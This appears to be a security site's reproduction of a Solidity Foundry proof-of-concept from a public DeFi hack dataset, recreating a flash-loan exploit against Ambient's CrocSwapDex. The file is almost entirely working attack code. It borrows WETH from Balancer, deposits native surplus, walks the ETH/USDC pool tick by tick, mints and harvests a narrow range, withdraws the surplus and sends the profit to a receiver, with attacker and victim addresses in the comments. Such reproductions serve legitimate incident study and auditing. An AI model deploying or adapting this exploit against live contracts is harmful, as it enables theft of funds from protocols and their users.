Skip to content
THREATWIRE

Public reproduction file

src/test/2026-06/AmbientCrocSwapDex_exp.sol

Public reproduction file for dataset entry AmbientCrocSwapDex.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-06/AmbientCrocSwapDex_exp.sol261 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.19;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~67.85 ETH after final USDC->WETH conversion and ETH forwarding
8// Attacker : 0x0000000000037e625b2502c26029aea237f102af
9// Attack Contract : 0xaac14d196a9e27923a92d8e87e3b6a5dcd4fec1b
10// Vulnerable Contract : 0xAaAaAAAaA24eEeb8d57D431224f73832bC34f688
11// Attack Tx : https://etherscan.io/tx/0xb2fc668c42623261074de6fc30d583efede2b0e20d7aded42b7b634f9322ff52
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xAaAaAAAaA24eEeb8d57D431224f73832bC34f688#code
16// @Analysis
17// Twitter Guy : https://x.com/TenArmorAlert/status/2063816231023427861
18//
19// The helper deposited flash-loaned WETH as Ambient native surplus, walked the ETH/USDC
20// pool up one grid at a time, minted and harvested a narrow range, then disbursed the
21// extracted native surplus and repaid Balancer.
23address constant ATTACKER = 0x0000000000037E625B2502C26029Aea237f102aF;
24address constant ATTACK_CONTRACT = 0xAAC14D196A9E27923A92D8e87E3b6A5DCD4fEc1B;
25address constant CROC_SWAP_DEX = 0xAaAaAAAaA24eEeb8d57D431224f73832bC34f688;
26address constant CROC_QUERY = 0xCA00926b6190c2C59336E73F02569c356d7B6b56;
27address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
28address constant USDC_TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
29address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
31interface ICrocSwapDex {
32 function userCmd(
33 uint16 callpath,
34 bytes calldata cmd
35 ) external payable returns (bytes memory);
38interface ICrocQuery {
39 function queryCurveTick(
40 address base,
41 address quote,
42 uint256 poolIdx
43 ) external view returns (int24);
46library AmbientTickMath {
47 int24 internal constant MIN_TICK = -665_454;
48 int24 internal constant MAX_TICK = 831_818;
50 function getSqrtRatioAtTick(
51 int24 tick
52 ) internal pure returns (uint128 sqrtPriceX64) {
53 unchecked {
54 require(tick >= MIN_TICK && tick <= MAX_TICK, "tick");
55 uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
57 uint256 ratio =
58 absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
59 if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
60 if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
61 if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
62 if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
63 if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
64 if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
65 if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
66 if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
67 if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
68 if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
69 if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
70 if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
71 if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
72 if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
73 if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
74 if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
75 if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
76 if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
77 if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
79 if (tick > 0) ratio = type(uint256).max / ratio;
80 sqrtPriceX64 = uint128((ratio >> 64) + (ratio % (1 << 64) == 0 ? 0 : 1));
81 }
82 }
85contract ContractTest is BaseTestWithBalanceLog {
86 AmbientCrocSwapDexAttacker private exploit;
87 address private profitReceiver;
89 function setUp() public {
90 vm.createSelectFork("mainnet", 25_266_404);
91 profitReceiver = makeAddr("profitReceiver");
93 vm.label(ATTACKER, "Attacker EOA");
94 vm.label(ATTACK_CONTRACT, "Original Attack Contract");
95 vm.label(profitReceiver, "PoC Profit Receiver");
96 vm.label(CROC_SWAP_DEX, "Ambient CrocSwapDex");
97 vm.label(CROC_QUERY, "Ambient CrocQuery");
98 vm.label(BALANCER_VAULT, "Balancer Vault");
99 vm.label(USDC_TOKEN, "USDC");
100 vm.label(WETH_TOKEN, "WETH");
101 }
103 function testExploit() public {
104 logTokenBalance(WETH_TOKEN, profitReceiver, "Profit receiver before exploit");
105 logTokenBalance(USDC_TOKEN, profitReceiver, "Profit receiver before exploit");
107 uint256 wethBefore = IERC20(WETH_TOKEN).balanceOf(profitReceiver);
108 uint256 usdcBefore = IERC20(USDC_TOKEN).balanceOf(profitReceiver);
110 exploit = new AmbientCrocSwapDexAttacker(profitReceiver);
111 exploit.attack();
113 uint256 wethProfit = IERC20(WETH_TOKEN).balanceOf(profitReceiver) - wethBefore;
114 uint256 usdcProfit = IERC20(USDC_TOKEN).balanceOf(profitReceiver) - usdcBefore;
116 emit log_named_decimal_uint("WETH profit after Balancer repayment", wethProfit, 18);
117 emit log_named_decimal_uint("USDC profit before final router conversion", usdcProfit, 6);
118 logTokenBalance(WETH_TOKEN, profitReceiver, "Profit receiver after exploit");
119 logTokenBalance(USDC_TOKEN, profitReceiver, "Profit receiver after exploit");
121 assertGt(wethProfit, 30 ether, "missing WETH profit");
122 assertGt(usdcProfit, 50_000e6, "missing USDC profit");
123 }
126contract AmbientCrocSwapDexAttacker is IFlashLoanRecipient {
127 using AmbientTickMath for int24;
129 address private immutable owner;
131 constructor(
132 address owner_
133 ) {
134 owner = owner_;
135 }
137 receive() external payable {}
139 function attack() external {
140 address[] memory tokens = new address[](2);
141 tokens[0] = USDC_TOKEN;
142 tokens[1] = WETH_TOKEN;
144 uint256[] memory amounts = new uint256[](2);
145 amounts[0] = 1;
146 amounts[1] = 50 ether;
148 IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");
149 }
151 function receiveFlashLoan(
152 IERC20[] memory tokens,
153 uint256[] memory amounts,
154 uint256[] memory feeAmounts,
155 bytes memory
156 ) external override {
157 require(msg.sender == BALANCER_VAULT, "vault");
159 IERC20(USDC_TOKEN).approve(CROC_SWAP_DEX, 0);
160 IERC20(USDC_TOKEN).approve(CROC_SWAP_DEX, type(uint256).max);
162 IWETH(payable(WETH_TOKEN)).withdraw(amounts[1]);
164 // step 1: create native ETH surplus in Ambient. ColdPath command 73 deposits native surplus.
165 ICrocSwapDex(CROC_SWAP_DEX).userCmd{value: amounts[1]}(
166 3, abi.encode(uint8(73), address(this), uint128(amounts[1]), address(0))
167 );
169 // step 2: walk the native/USDC pool up thirteen grid steps, deriving each limit from live pool tick state.
170 uint256 poolIdx = 420;
171 int24 tickGridStep = 800;
172 int24 startTick = currentTick(poolIdx);
173 int24 stopTick = startTick + (13 * tickGridStep);
174 while (currentTick(poolIdx) < stopTick) {
175 int24 nextTick = currentTick(poolIdx) + tickGridStep;
176 hotSwap(poolIdx, true, true, 1e30, nextTick.getSqrtRatioAtTick(), 1);
177 }
179 // step 3: mint the same narrow range position used by the attack helper.
180 int24 rangeBidTick = currentTick(poolIdx) + 3;
181 int24 rangeAskTick = rangeBidTick + 32;
182 warmRange(poolIdx, 1, 19_111_745_536, rangeBidTick, rangeAskTick);
184 // step 4: nudge the range and harvest it. The +19 tick limit matches the in-range trace swap.
185 hotSwap(poolIdx, true, true, 1e30, (currentTick(poolIdx) + 19).getSqrtRatioAtTick(), 1);
186 warmRange(poolIdx, 5, 0, rangeBidTick, rangeAskTick);
188 // step 5: swap back toward the starting tick, disburse native surplus, and repay Balancer.
189 hotSwap(poolIdx, false, false, 1e30, startTick.getSqrtRatioAtTick(), 1);
190 // ColdPath command 74 disburses all native surplus.
191 ICrocSwapDex(CROC_SWAP_DEX).userCmd(3, abi.encode(uint8(74), address(this), int128(0), address(0)));
193 IWETH(payable(WETH_TOKEN)).deposit{value: address(this).balance}();
195 tokens[0].transfer(BALANCER_VAULT, amounts[0] + feeAmounts[0]);
196 tokens[1].transfer(BALANCER_VAULT, amounts[1] + feeAmounts[1]);
198 IERC20(WETH_TOKEN).transfer(owner, IERC20(WETH_TOKEN).balanceOf(address(this)));
199 IERC20(USDC_TOKEN).transfer(owner, IERC20(USDC_TOKEN).balanceOf(address(this)));
200 }
202 function hotSwap(
203 uint256 poolIdx,
204 bool isBuy,
205 bool inBaseQty,
206 uint128 qty,
207 uint128 limitPrice,
208 uint8 reserveFlags
209 ) private returns (int128 baseFlow, int128 quoteFlow) {
210 bytes memory output = ICrocSwapDex(CROC_SWAP_DEX)
211 .userCmd(
212 1,
213 abi.encode(
214 address(0),
215 USDC_TOKEN,
216 poolIdx,
217 isBuy,
218 inBaseQty,
219 qty,
220 uint16(0),
221 limitPrice,
222 uint128(0),
223 reserveFlags
224 )
225 );
226 (baseFlow, quoteFlow) = abi.decode(output, (int128, int128));
227 }
229 function warmRange(
230 uint256 poolIdx,
231 uint8 code,
232 uint128 liq,
233 int24 bidTick,
234 int24 askTick
235 ) private returns (int128 baseFlow, int128 quoteFlow) {
236 bytes memory output = ICrocSwapDex(CROC_SWAP_DEX)
237 .userCmd(
238 2,
239 abi.encode(
240 code,
241 address(0),
242 USDC_TOKEN,
243 poolIdx,
244 bidTick,
245 askTick,
246 liq,
247 AmbientTickMath.getSqrtRatioAtTick(AmbientTickMath.MIN_TICK),
248 AmbientTickMath.getSqrtRatioAtTick(AmbientTickMath.MAX_TICK) - 1,
249 uint8(1),
250 address(0)
251 )
252 );
253 (baseFlow, quoteFlow) = abi.decode(output, (int128, int128));
254 }
256 function currentTick(
257 uint256 poolIdx
258 ) private view returns (int24) {
259 return ICrocQuery(CROC_QUERY).queryCurveTick(address(0), USDC_TOKEN, poolIdx);
260 }

Analysis

Dataset entry

Public Foundry test for “AmbientCrocSwapDex” (2026-06-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0000000000037e625b2502c26029aea237f102af

  • Attack Contract

    0xaac14d196a9e27923a92d8e87e3b6a5dcd4fec1b

  • Vulnerable Contract

    0xaaaaaaaaa24eeeb8d57d431224f73832bc34f688

  • Attack Tx

    0xb2fc668c42623261074de6fc30d583efede2b0e20d7aded42b7b634f9322ff52

File record

Name
AmbientCrocSwapDex
Path
src/test/2026-06/AmbientCrocSwapDex_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
c0a1eca6cb27ff2cb3bee905608c3a4ea7ddd34f
Language
Solidity
Size
262 lines
Date
2026-06-07
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-06/AmbientCrocSwapDex_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c0a1eca6cb27ff2cb3bee905608c3a4ea7ddd34f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.